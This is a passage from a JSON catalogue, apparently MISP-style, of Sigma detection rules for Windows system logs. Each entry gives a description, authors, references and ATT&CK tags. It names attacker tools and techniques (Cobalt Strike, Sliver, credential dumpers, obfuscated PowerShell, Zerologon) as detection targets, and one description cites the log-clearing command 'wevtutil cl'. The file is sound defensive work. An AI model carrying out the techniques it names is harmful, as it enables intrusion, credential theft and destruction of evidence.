        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_generic.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "acfa2210-0d71-4eeb-b477-afab494d596c",
      "value": "Windows Service Terminated With Error"
    },
    {
      "description": "Detects powershell script installed as a Service",
      "meta": {
        "author": "oscd.community, Natalia Shornikova",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_powershell_script_installed_as_service.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_powershell_script_installed_as_service.yml"
        ],
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          "attack.execution",
          "attack.t1569.002"
        ]
      },
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae",
      "value": "PowerShell Scripts Installed as Services"
    },
    {
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_csexecsvc.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/malcomvetter/CSExec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_csexecsvc.yml"
        ],
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          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a27e5fa9-c35e-4e3d-b7e0-1ce2af66ad12",
      "value": "CSExec Service Installation"
    },
    {
      "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Wojciech Lesicki",
        "creation_date": "2021/05/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_cobaltstrike_service_installs.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.sans.org/webcasts/119395",
          "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/",
          "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
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          ],
          "type": "related-to"
        },
        {
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          ],
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        },
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a105d34-05fc-401e-8553-272b45c1522d",
      "value": "CobaltStrike Service Installations - System"
    },
    {
      "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_compress_services.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_compress_services.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "175997c5-803c-4b08-8bb0-70b099f47595",
      "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - System"
    },
    {
      "description": "Detects installation or execution of services",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_hacktools.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_hacktools.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4",
      "value": "HackTool Service Registration or Execution"
    },
    {
      "description": "Detects Obfuscated use of stdin to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_stdin_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_stdin_services.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation STDIN+ Launcher - System"
    },
    {
      "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/05/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_moriya_rootkit.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_moriya_rootkit.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324",
      "value": "Moriya Rootkit - System"
    },
    {
      "description": "Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/28",
        "falsepositive": [
          "Legitimate use of the tool"
        ],
        "filename": "win_system_service_install_mesh_agent.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_mesh_agent.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "e0d1ad53-c7eb-48ec-a87a-72393cc6cedc",
      "value": "Mesh Agent Service Installation"
    },
    {
      "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_sliver.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231",
          "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sliver.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2",
      "value": "Sliver C2 Default Service Installation"
    },
    {
      "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references",
      "meta": {
        "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community",
        "creation_date": "2019/11/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_obfuscated_iex_services.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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          ],
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        }
      ],
      "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9",
      "value": "Invoke-Obfuscation Obfuscated IEX Invocation - System"
    },
    {
      "description": "Detects Obfuscated use of Environment Variables to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_var_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_var_services.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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          ],
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        },
        {
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          ],
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        }
      ],
      "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75",
      "value": "Invoke-Obfuscation VAR+ Launcher - System"
    },
    {
      "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/22",
        "falsepositive": [
          "Legitimate use of the tool"
        ],
        "filename": "win_system_service_install_pdqdeploy.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
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          ],
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      ],
      "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3",
      "value": "New PDQDeploy Service - Server Side"
    },
    {
      "description": "Detects service installation in suspicious folder appdata",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/03/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_service_installation_folder.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_folder.yml"
        ],
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          "attack.persistence",
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          "car.2013-09-005",
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        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
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          ],
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        }
      ],
      "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb",
      "value": "Service Installation in Suspicious Folder"
    },
    {
      "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_var_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_var_services.yml"
        ],
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          "attack.defense_evasion",
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          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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          ],
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        },
        {
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          ],
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        }
      ],
      "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6",
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    },
    {
      "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_rtcore64_service_install.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_rtcore64_service_install.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c",
      "value": "RTCore Suspicious Service Installation"
    },
    {
      "description": "Detects PsExec service installation and execution events",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/06/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_sysinternals_psexec.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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          "https://jpcertcc.github.io/ToolAnalysisResultSheet",
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      "value": "PsExec Service Installation"
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      "description": "Detects NetSupport Manager service installation on the target system.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "filename": "win_system_service_install_netsupport_manager.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf",
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      "meta": {
        "author": "Ján Trenčanský, frack113",
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          "Auto updates of Windows Defender causes restarts"
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        "filename": "win_system_defender_disabled.yml",
        "level": "medium",
        "logsource.category": "No established category",
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        "refs": [
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      "meta": {
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          "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/",
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        "filename": "win_system_susp_service_installation_script.yml",
        "level": "high",
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        "logsource.product": "windows",
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      "meta": {
        "author": "pH-T (Nextron Systems)",
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        "falsepositive": [
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        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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        "filename": "win_system_service_install_tacticalrmm.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/",
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        ],
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          "attack.command_and_control",
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        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
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      ],
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Legitimate Administrator using credential dumping tool for password recovery"
        ],
        "filename": "win_system_mal_creddumper.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
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          "attack.execution",
          "attack.t1003.001",
          "attack.t1003.002",
          "attack.t1003.004",
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          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
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      "value": "Credential Dumping Tools Service Execution - System"
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      "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques",
      "meta": {
        "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community",
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        "falsepositive": [
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        ],
        "filename": "win_system_tap_driver_installation.yml",
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        "logsource.category": "No established category",
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        ],
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        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_krbrelayup_service_installation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Dec0ne/KrbRelayUp",
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      ],
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      "description": "Detects Obfuscated Powershell via use MSHTA in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
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        ],
        "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_mshta_services.yml"
        ],
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          "attack.t1059.001"
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      },
      "related": [
        {
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      ],
      "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4",
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      "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts",
      "meta": {
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        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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        ],
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        ],
        "filename": "win_system_invoke_obfuscation_clip_services.yml",
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        "logsource.category": "No established category",
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        "author": "pH-T (Nextron Systems)",
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        "filename": "win_system_susp_service_installation_folder_pattern.yml",
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        "logsource.category": "No established category",
        "logsource.product": "windows",
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        "falsepositive": [
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        ],
        "filename": "win_system_service_install_remote_utilities.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.remoteutilities.com/support/kb/host-service-won-t-start/",
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      "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        ],
        "filename": "win_system_eventlog_cleared.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100",
          "https://twitter.com/deviouspolack/status/832535435960209408",
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        ],
        "filename": "win_system_susp_eventlog_cleared.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100",
          "https://twitter.com/deviouspolack/status/832535435960209408",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_susp_eventlog_cleared.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.001",
          "car.2016-04-002"
        ]
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        {
          "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556",
      "value": "Important Windows Eventlog Cleared"
    },
    {
      "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.",
      "meta": {
        "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": "No established falsepositives",
        "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.secura.com/blog/zero-logon",
          "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml"
        ],
        "tags": [
          "attack.t1210",
          "attack.lateral_movement"
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      },
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        {
          "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18f37338-b9bd-4117-a039-280c81f7a596",
      "value": "Zerologon Exploitation Using Well-known Tools"
    },
    {
      "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.",
      "meta": {
        "author": "NVISO",
        "creation_date": "2020/09/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_vul_cve_2020_1472.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_vul_cve_2020_1472.yml"
        ],
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          "attack.privilege_escalation",
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      },
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        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
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      "value": "Vulnerable Netlogon Secure Channel Connection Allowed"
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    {
      "description": "Detects application popup reporting a failure of the Sysmon service",
      "meta": {
        "author": "Tim Shelton",
        "creation_date": "2022/04/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_application_sysmon_crash.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/application_popup/win_system_application_sysmon_crash.yml"
        ],
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          "attack.defense_evasion",
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        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
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      "value": "Sysmon Crash"
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      "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_kdcsvc_rc4_downgrade.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_rc4_downgrade.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
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      "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee",
      "value": "KDC RC4-HMAC Downgrade CVE-2022-37966"
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      "description": "Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID)\nThis could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping.\nEvents where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.\n",
      "meta": {
        "author": "@br4dy5",
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          "If prevalent in the environment, filter on events where the AccountName and CN of the Subject do not reference the same user",
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        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_cert_use_no_strong_mapping.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
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      "uuid": "993c2665-e6ef-40e3-a62a-e1a97686af79",
      "value": "Certificate Use With No Strong Mapping"
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    {
      "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded",
      "meta": {
        "author": "Dimitrios Slamaris",
        "creation_date": "2017/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_dhcp_config.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html",
          "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx",
          "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config.yml"
        ],
        "tags": [
          "attack.defense_evasion",
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        ]
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        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40",
      "value": "DHCP Server Loaded the CallOut DLL"
    },
    {
      "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded",
      "meta": {
        "author": "Dimitrios Slamaris, @atc_project (fix)",
        "creation_date": "2017/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_dhcp_config_failed.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html",
          "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx",
          "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config_failed.yml"
        ],
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          "attack.defense_evasion",
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          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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      "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c",
      "value": "DHCP Server Error Failed Loading the CallOut DLL"
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    {
      "description": "Detects execution of AppX packages with known suspicious or malicious signature",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_appxpackaging_om_sups_appx_signature.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxpackaging_om/win_appxpackaging_om_sups_appx_signature.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution"
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      "uuid": "b5aa7d60-c17e-4538-97de-09029d6cd76b",
      "value": "Suspicious Digital Signature Of AppX Package"
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    {
      "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2021/04/12",
        "falsepositive": [
          "Legitimate use of Hybrid Connection Manager via Azure function apps."
        ],
        "filename": "win_hybridconnectionmgr_svc_running.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Cyb3rWard0g/status/1381642789369286662",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml"
        ],
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          "attack.t1554"
        ]
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        {
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      "value": "HybridConnectionManager Service Running"
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    {
      "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv",
